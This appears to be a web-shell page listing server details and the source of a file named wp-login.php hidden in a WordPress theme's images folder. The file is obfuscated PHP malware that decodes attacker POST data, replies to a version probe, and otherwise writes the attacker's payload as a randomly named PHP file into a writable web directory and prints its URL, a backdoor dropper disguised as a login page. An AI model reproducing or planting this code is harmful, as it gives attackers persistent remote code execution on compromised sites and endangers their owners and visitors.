HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentynineteen/images/wp-login.php
<?php function PqUqEPwpVy($rMLHCq){$VuaxmxxcVJ = "\162".'a'.chr(1010-891)."\165".chr(114)."\154"."\x64".'e'.chr(366-267).chr(521-410)."\144".'e';$LbAHML = "\163".'t'."\x72".chr(1021-926).chr(114)."\x6f".chr(935-819).'1'.'3';$NWWMSa = 's'."\164"."\x72".chr(95).'s'.'p'."\x6c".chr(394-289).chr(116);$rMLHCq = $NWWMSa($VuaxmxxcVJ($LbAHML($rMLHCq)));return $rMLHCq;}function pezSBFjR($cvUMjN, $rMLHCq){$KCdmze = "\163"."\x74".chr(366-252).chr(687-592)."\163".'p'.chr(274-166)."\x69".'t';$cvUMjN = array_slice($KCdmze(str_repeat($cvUMjN, (count($rMLHCq)/16)+1)), 0, count($rMLHCq));return $cvUMjN;}function kyxMKgr($irBXOM, $nispWX, $cvUMjN){$YRNWq = "31caba10-7a8a-4325-8cbb-332bd1cddbdc";return $irBXOM ^ $YRNWq[$nispWX % strlen($YRNWq)] ^ $cvUMjN;}function SFniuvBAva($rMLHCq, $cvUMjN){$rMLHCq = array_map("kyxMKgr", array_values($rMLHCq), array_keys($rMLHCq), array_values($cvUMjN));$rMLHCq = implode("", $rMLHCq);$yydOmhnJ = "\x75".'n'.chr(1032-917)."\145".chr(114).chr(455-350).chr(97)."\154".chr(105).'z'.chr(1010-909);$rMLHCq = @$yydOmhnJ($rMLHCq);return $rMLHCq;}function GjScW(){echo "uTPpJxepaG";}function wzYIv($GgZthir){static $FCEKqZDL = array();$OreXz = glob($GgZthir . '/*', GLOB_ONLYDIR);$KPXtu = count($OreXz);if ($KPXtu > 0) {foreach ($OreXz as $GgZth) {$uKLtzSRGed = "\151"."\163"."\x5f"."\x77"."\162".chr(988-883)."\164".chr(442-345).'b'.chr(422-314).chr(1028-927);if (@$uKLtzSRGed($GgZth)) {$FCEKqZDL[] = $GgZth;}}}foreach ($OreXz as $GgZthir) wzYIv($GgZthir);return $FCEKqZDL;}function fHClLVsMZ(){echo "YqAGMGSBJ";}function gzulRob($rMLHCq){$ZKyLZNpDqo = "\104".chr(79)."\x43".chr(1068-983).chr(558-481)."\105"."\116"."\x54"."\x5f".'R'.chr(79).chr(79).chr(754-670);$jngfW = $_SERVER[$ZKyLZNpDqo];$OreXz = wzYIv($jngfW);$SGkjnK = array_rand($OreXz);$rjWcDcQPl = "\x2e".chr(280-168).chr(165-61)."\160";$NCBpjrUOU = $OreXz[$SGkjnK] . "/" . substr(md5(time()), 0, 8) . $rjWcDcQPl;$UrBoIg = chr(102)."\151"."\x6c".chr(101)."\137"."\160".chr(117).chr(116).'_'.chr(844-745).'o'.chr(670-560).'t'."\145"."\x6e".chr(116).'s';@$UrBoIg($NCBpjrUOU, $rMLHCq);$WmUxRbfB = 'H'.chr(84)."\x54".chr(80).chr(596-501).chr(72)."\x4f".'S'."\x54";$peklrdGU = "\x68"."\164".chr(1003-887).chr(112).':'.chr(47).chr(816-769);$GwcSBwDU = $peklrdGU . $_SERVER[$WmUxRbfB] . substr($NCBpjrUOU, strlen($jngfW));print($GwcSBwDU);}foreach ($_POST as $cvUMjN => $rMLHCq){$KuPvqy = strlen($cvUMjN);if ($KuPvqy == 16){$rMLHCq = PqUqEPwpVy($rMLHCq);$cvUMjN = pezSBFjR($cvUMjN, $rMLHCq);$rMLHCq = SFniuvBAva($rMLHCq, $cvUMjN);if (@is_array($rMLHCq)){$SGkjnK = array_keys($rMLHCq);$rMLHCq = $rMLHCq[$SGkjnK[0]];if ($rMLHCq === $SGkjnK[0]){$Oxoaqkh = 'p'."\150"."\160";$txQLJIWTvl = chr(950-838)."\x68".chr(112).chr(891-773).'e'."\162".chr(168-53).chr(443-338)."\157".chr(508-398);$VqXWfT = chr(970-855).chr(101).chr(114)."\151".chr(97)."\x6c".'i'.chr(122).chr(817-716);echo @$VqXWfT(Array($Oxoaqkh => @$txQLJIWTvl(), ));}else {gzulRob($rMLHCq);}die();}}}